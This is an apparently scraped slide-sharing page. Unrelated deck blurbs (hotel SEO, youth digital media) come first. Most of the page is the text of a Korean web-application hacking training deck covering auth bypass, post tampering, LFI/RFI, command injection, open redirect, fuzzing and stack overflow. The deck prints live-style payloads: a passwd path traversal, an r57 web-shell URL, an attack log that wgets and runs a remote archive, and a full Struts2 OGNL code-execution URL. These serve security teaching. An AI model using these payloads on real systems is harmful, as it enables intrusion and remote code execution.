Prezi vom SEO/ecommerce Workshop der Hotelfachschule Hamburg, Januar 2015.
Themen:
Google Suche
Reisestudien digitales Marketing 2014
SEO Onpage
Mobile Marketing
Mobile Check in with Keyroom App
Customer Journey Mapping
Landingpage
Content Marketing
Die perfekte Hotelwebsite
In the most recent Hacker Intelligence Initiative report, Imperva analyses vulnerabilities found in the SuperGlobal parameters of the PHP platform, and finds that a multi-step attack requires a multi-layered application security solution.
Digital Media & Learning Conference Talk: Kids Teaching Kids Web Design at a ...Jacqueline Vickery
Presented at the Digital Media & Learning conference in Boston, MA. The talk focuses on a web design workshop for kids at a public library. How can web design change discourses of technology and computers and help kids develop literacies for meaningful participation?
Digital Media & Youth Safety - Ricky Lewis & Jacqueline VickeryJacqueline Vickery
This talk attempts to contextualize young people's digital media practices. We want to acknowledge risks alongside the benefits of digital and social media. I take a literacies approach that recognizes risks are not necessarily harmful and that helping students assess and manage risks will decrease harm.
Prezi vom SEO/ecommerce Workshop der Hotelfachschule Hamburg, Januar 2015.
Themen:
Google Suche
Reisestudien digitales Marketing 2014
SEO Onpage
Mobile Marketing
Mobile Check in with Keyroom App
Customer Journey Mapping
Landingpage
Content Marketing
Die perfekte Hotelwebsite
In the most recent Hacker Intelligence Initiative report, Imperva analyses vulnerabilities found in the SuperGlobal parameters of the PHP platform, and finds that a multi-step attack requires a multi-layered application security solution.
Digital Media & Learning Conference Talk: Kids Teaching Kids Web Design at a ...Jacqueline Vickery
Presented at the Digital Media & Learning conference in Boston, MA. The talk focuses on a web design workshop for kids at a public library. How can web design change discourses of technology and computers and help kids develop literacies for meaningful participation?
Digital Media & Youth Safety - Ricky Lewis & Jacqueline VickeryJacqueline Vickery
This talk attempts to contextualize young people's digital media practices. We want to acknowledge risks alongside the benefits of digital and social media. I take a literacies approach that recognizes risks are not necessarily harmful and that helping students assess and manage risks will decrease harm.
[컨트리뷰톤 2020] 리브레오피스(LibreOffice)의 QA 및 소스 코드 리뷰DaeHyun Sung
리브레오피스(LibreOffice)의 QA 및 소스 코드 리뷰
2020년 9월 6일 QA 및 소스 코드 리뷰 관련 소개 및 설명
관련 영상
[컨트리뷰톤 2020] #6 리브레오피스(LibreOffice)의 QA작업 해보기 및 번역, 문서화 등 질의응답 등등
https://youtu.be/0Pcz9i6WtGo
[2014 CodeEngn Conference 10] 심준보 - 급전이 필요합니다GangSeok Lee
2014 CodeEngn Conference 10
열혈 취약점 헌터들의 고분군투기!
취약점을 찾게되면 어떤 일이 벌어질까? 급전이 필요한 외롭고 찌질한 대한민국 해커들의 급전을 위한 취약점 찾기 여행기. 과연 우리는 취약점을 찾고 급전을 만들어 외롭고 찌질한 이 상황을 타개할 수 있을 것인가?
http://codeengn.com/conference/10
http://codeengn.com/conference/archive
2. Index
1. 개요
2. 사례분석
1) 회원가입
2) 타인 글 수정 및 삭제하기
3) 자바스크립트로 구성된 수정/삭제페이지 정보 노출
4) 파일 삽입(LFI/RFI)
5) 명령어 삽입
6) URL Redirection
3. 모의실습
1) 명령어 삽입 취약점 탐지
2) 버퍼오버플로우 점검
부록. Direct RET BOF
2E-mail: isc0304@naver.com Writing by Ilsun Choi
3. 1. 개요
3
어플리케이션에서
사용되는 정보
사용자 입력폼
Query String
HTTP 헤더
기타
명령어 삽입
원격지 파일 삽입
타인글 수정/삭제
변조
E-mail: isc0304@naver.com Writing by Ilsun Choi
4. 2. 사례분석
1) 회원가입
2) 타인 글 수정 및 삭제하기
3) 자바스크립트로 구성된 수정/삭제페이지 정보 노출
4) 파일 삽입(LFI/RFI)
5) 명령어 삽입
6) URL Redirection
4E-mail: isc0304@naver.com Writing by Ilsun Choi
5. 2. 사례분석 > 1) 회원가입
• 입력 값 검증을 위한 자바스크립트
• 자바스크립트의 예
• 비공개 test site를 사용하여 실습한 내용을 정리하였다.
5
if ( a!= b ){
alert(“no hack”);
location.href = “/”;
}
E-mail: isc0304@naver.com Writing by Ilsun Choi
6. 2. 사례분석 > 1) 회원가입
1) 주민등록번호 인증 우회
6E-mail: isc0304@naver.com Writing by Ilsun Choi
7. • 주민등록번호 체크 로직을 찾아 삭제
2. 사례분석 > 1) 회원가입
7E-mail: isc0304@naver.com Writing by Ilsun Choi
8. • 존재하지 않는 주민등록번호를 기입하여
우회에 성공
2. 사례분석 > 1) 회원가입
8E-mail: isc0304@naver.com Writing by Ilsun Choi
9. 2. 사례분석 > 1) 회원가입
• 주소찾기 서비스 우회
• 테스트 서버이기 때문에 주소찾기 서비
스가 존재하지 않는다.
9E-mail: isc0304@naver.com Writing by Ilsun Choi
10. • 성공적으로 회원가입에 성공한 것을 볼 수 있다.
10
2. 사례분석 > 1) 회원가입
E-mail: isc0304@naver.com Writing by Ilsun Choi
11. 2. 사례분석 > 2) 타인 글 수정 및 삭제
7.1.1 타인 비밀 글 보기와 유사
먼저 우리가 이용할 수 있는 게시물 생성
11E-mail: isc0304@naver.com Writing by Ilsun Choi
12. • 내가 쓴 글 수정 페이지 열기
12
2. 사례분석 > 2) 타인 글 수정 및 삭제
E-mail: isc0304@naver.com Writing by Ilsun Choi
13. • 페이지 요청에서 18번 게
시글 변경을 요청하고 있다
는 것을 확인
• 15번 게시글을 바꾸기 위
해 변조하여 진행
13
2. 사례분석 > 2) 타인 글 수정 및 삭제
E-mail: isc0304@naver.com Writing by Ilsun Choi
14. • 수정 후
• 삭제 후
14
2. 사례분석 > 타인 글 수정 및 삭제
E-mail: isc0304@naver.com Writing by Ilsun Choi
15. 2. 사례분석 > 3) 자바스크립트, 수정 삭제 페이지 노출
15
• 삭제거나 수정할 수 있는 페이지를 요청하는 형식
• javascript 내에 수정/삭제 페이지 확인 가능
E-mail: isc0304@naver.com Writing by Ilsun Choi
16. 2. 사례분석 > 4) 파일삽입(LFI/RFI)
• RFI: Remote File Inclusion
외부에 있는 서버로부터 파일을 첨부 받음
-> 취약한 로직(웹쉘과 같은)을 가져오기 위함
• LFI: Local File Inclusion
서버내부로부터 파일을 첨부 받음
-> 민감한 데이터 노출(시스템 파일 등)을 위함
16E-mail: isc0304@naver.com Writing by Ilsun Choi
17. • Default는 Off
• 개발자의 필요에 의해서 On이 될 수 있음.
17E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 4) 파일삽입(LFI/RFI)
18. LFI 사례 1
• 파라미터 값에 시스템 파일 등의 경로를 삽입 (다운로드 취약점과 유사)
• 아래와 같은 확장자를 붙이는 형식
널바이트 인젝션을 사용
18
구분 파라미터
원본 file=php(내부적으로 .abc가 붙어, php.abc를 호출
변조 file=../../../../../../etc/passwd%00
구분 취약한 함수
php언어 require(),include(),eval(),passthru(),system(),fopen() 등
E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 4) 파일삽입(LFI/RFI)
19. LFI 사례 2
• 제로보드(xe)의 /include/write.php 에서 발생된 LFI 취약점
• “://” 와 “..” 만을 필터링하기 때문에 다음과 같은 경로는 삽입 가능
c:windowssystem32driveretchosts
19E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 4) 파일삽입(LFI/RFI)
20. RFI 사례 1
• 원격지에 있는 txt파일
서버 내부에서 php로 실행
1. null.php 실행
2. include로 test.txt 파일 코드를 불러옴
3. null.php가 불러온 코드를 실행
20
실행순서
1.
2.
3.
E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 4) 파일삽입(LFI/RFI)
21. • 쉘 코드 주소
• http://www.r57shell.net/shell/r57.txt
21E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 4) 파일삽입(LFI/RFI)
23. 23
RFI 사례 2
• “://”을 필터링하여 사례(1)과 같은 취약점을 발생하지 않는다.
• 그러나, base64로 인코딩된 phpinfo()을 삽입하면 php.ini 파일 정보를 확인할 수 있다.
추가적인 취약점 노출 가능성
E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 4) 파일삽입(LFI/RFI)
25. 25
• 취약할 수 있는 php.ini 설정 목록
※ 자세한 내용은 교재 p288 확인하면 된다.
설정정보 권장 값 설정정보 권장 값
register_globals Off magic_quotes_sybase Off
safe_mode On open_basedir 디렉터리
safe_mode_gid Off safe_mode_exec_dir 디렉터리
expose_php Off display_errors Off
file_uploads Off log_errors On
allow_url_fopen Off error_log 파일명
magic_quotes_gpc On
E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 4) 파일삽입(LFI/RFI)
26. 2. 사례분석 > 5) 명령어 삽입
1) PHP exec 함수
맘보(Mambo) 어플리케이션 취약점
26
mkidr
E-mail: isc0304@naver.com Writing by Ilsun Choi
27. 2) open() 함수
AWStats 어플리케이션의 awstats.pl 페이지 취약점 공격 로그
1. id 명령어로 계정권한 확인
2. 원격지 파일(aw.tgz)를 가져와 악성프로그램 실행(inetd)
27
1 66.99.250.98 - - [24/Feb/2005:02:20:45 -0500] “GET
//cgi-bin/awstats/awstats.pl?configdir=|%20id%20| HTTP/1.1”404 1051 “-”
“mozilla./4.0 (compatible; MSIE 6.0; Windows 98)”
2 213.135.2.227 - - [26/Feb/2005:14:13:38 -0500] “GET /cgibin/awstats.pl?
configdir=%20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro%2faw.tgz%3b%20tar%20zx...
HTTP1.1”200 410 “-” “Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1;
FunWebProducts)”
2번 내용 디코딩
configdir= | cd /tmp; wget www.shandy.go.ro/aw.tgz;
tar zxf aw.tgz; rm –f aw.tgz; cd aw; ./inetd |
E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 5) 명령어 삽입
28. 3) Apache Struts2(자바 웹 어플리케이션 개발 프레임 워크) 원격 코드 실행
• http://seclists.org/fulldisclosure/2013/Oct/96
• “action:”, “redirection:”, redirectAction:”과 같은 파라미터에 특정 구문 전달
28
http://vmbuild.apache.org/continuum/groupSummary.action?redirect:${%23a%3d(ne
w%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%
23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dne
w%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%
23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRespon
se'),%23matr%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletR
equest'),%23matt.getWriter().println(%23matr.getRealPath(%22/%22)),%23matt.getWri
ter().flush(),%23matt.getWriter().close()}
E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 5) 명령어 삽입
29. 4) ASP 쉘 코드
5) PHP 쉘 코드
29E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 5) 명령어 삽입
30. 5) JSP 쉘 코드
30E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 5) 명령어 삽입
31. 언어별 취약한 함수 : 아래 함수 사용시 주의가 필요함
31
구분 취약한 함수
PHP require(), include(), eval(), exec(), passthru(), system(), fopen 등
PERL open(), sysopen(), glob(), system() 등
JAVA system.* (system.runtime) 등
C system(), exec(), strcpy(), strcat(), sprint() 등
PYTHON exec(), eval(), execfile(), compile(), input() 등
E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 5) 명령어 삽입
32. • 파라미터로 받은 URL 주소로 페이지 이동
• 피싱 위험
• 형태
http://신뢰할수있는사이트/redirect.asp?target=http://malicious.com
Phishing이란?
Private Data + fishing의 합성어
이메일 또는 스팸 등을 발송 및 접속자들을 특정 사이트와 동일한 가짜 사이트로 접속
주민등록번호, 은행 계좌 혹은 신용카드 번호 탈취
Phishing의 유래
1996년 AOL(American Online)을 사용하던 10대들이 일반 사용자에게 가짜 이메일을 보내는 해킹 기
법으로 유래됨.
32E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 5) 명령어 삽입
33. • 보안 뉴스 참고 기사 : http://www.boannews.com/media/view.asp?idx=45812
• 음란 동영상 클릭 시 피싱 서버로 이동
• 페이스북과 똑같이 생긴 UI로 ID/Password 요청
33페이스북 계정 탈취 방법 개념도(출처: 이스트소프트) ▲E-mail: isc0304@naver.com Writing by Ilsun Choi
2. 사례분석 > 6) URL Redirection
34. 3. 모의실습
1) 명령어 삽입 취약점 탐지
2) 버퍼오버플로우 점검
34E-mail: isc0304@naver.com Writing by Ilsun Choi
35. 3. 모의실습 > 1) 명령어 삽입 취약점 탐지
• 파라미터 뒤에 명령어 삽입 시 명령어가 실행되는 취약점을 탐지한다.
• 삽입 패턴 : &ipconfig
• 탐지 패턴 : 255.255.25
• 작성한 탐지 패턴
35E-mail: isc0304@naver.com Writing by Ilsun Choi
36. • 탐지 결과
• 서버에서 netmask를
255.255.254로 바꾼 것으로 보임
36E-mail: isc0304@naver.com Writing by Ilsun Choi
3. 모의실습 > 1) 명령어 삽입 취약점 탐지
38. • 프록시 서버를 생성하여
웹브라우저로 접속 시 요청 패킷을 기록
38E-mail: isc0304@naver.com Writing by Ilsun Choi
3. 모의실습 > 2) 버퍼오버플로우 점검
39. • Fuzzing Points를 설정하여
Test 할 문자열 길이를 정함
• Savant 프로그램을 Attach하여
비정상 종료 시
프로그램 덤프를 추출
39E-mail: isc0304@naver.com Writing by Ilsun Choi
3. 모의실습 > 2) 버퍼오버플로우 점검
40. • 프로그램이 종료 시 추출된 덤프
40E-mail: isc0304@naver.com Writing by Ilsun Choi
3. 모의실습 > 2) 버퍼오버플로우 점검
41. 41
• Taof debugging data
• toaf fuzzer는 BOF 점검 시 A를 사용
• 240 문자열 삽입 이전 결과
File not found
• 255 문자열 삽입 이후 결과
Exception 발생
E-mail: isc0304@naver.com Writing by Ilsun Choi
3. 모의실습 > 2) 버퍼오버플로우 점검
42. 부록. Direct RET BoF
다음과 같은 환경에만 가능한 기법이다.
- Windows XP 급 기반(ASLR 기반 OS는 실행하기 어려움)
- GS-Cookie 미설정
- DEP 미설정
이미지는 아래 블로그를 참고하였다.
http://fehead.tistory.com/201
42E-mail: isc0304@naver.com Writing by Ilsun Choi
43. 43
• main() 함수에서 A() 함수 호출 시 스택 변화
E-mail: isc0304@naver.com Writing by Ilsun Choi
부록. Direct RET BoF
44. • 98번 주소에 main()에서의 EIP 저장
44E-mail: isc0304@naver.com Writing by Ilsun Choi
부록. Direct RET BoF
45. • 97번 주소에 main()에서의 EBP 저장
45E-mail: isc0304@naver.com Writing by Ilsun Choi
부록. Direct RET BoF
46. • A() 함수 스택 생성
46E-mail: isc0304@naver.com Writing by Ilsun Choi
부록. Direct RET BoF
47. • C/C++ 등에서의 문자열 저장방식
앞 주소 지정
null이 등장할 때까지 채움
47
문자열 입력
문자열을채우는방향
RET 변조 위험
E-mail: isc0304@naver.com Writing by Ilsun Choi
부록. Direct RET BoF
48. 48
쉘 코드 입력
변조된 RET
• RET가 쉘 코드를 가리킴
쉘 코드 실행
• RET(EIP)와 EBP에 “41414141”이 입력됨
변조 가능
E-mail: isc0304@naver.com Writing by Ilsun Choi
부록. Direct RET BoF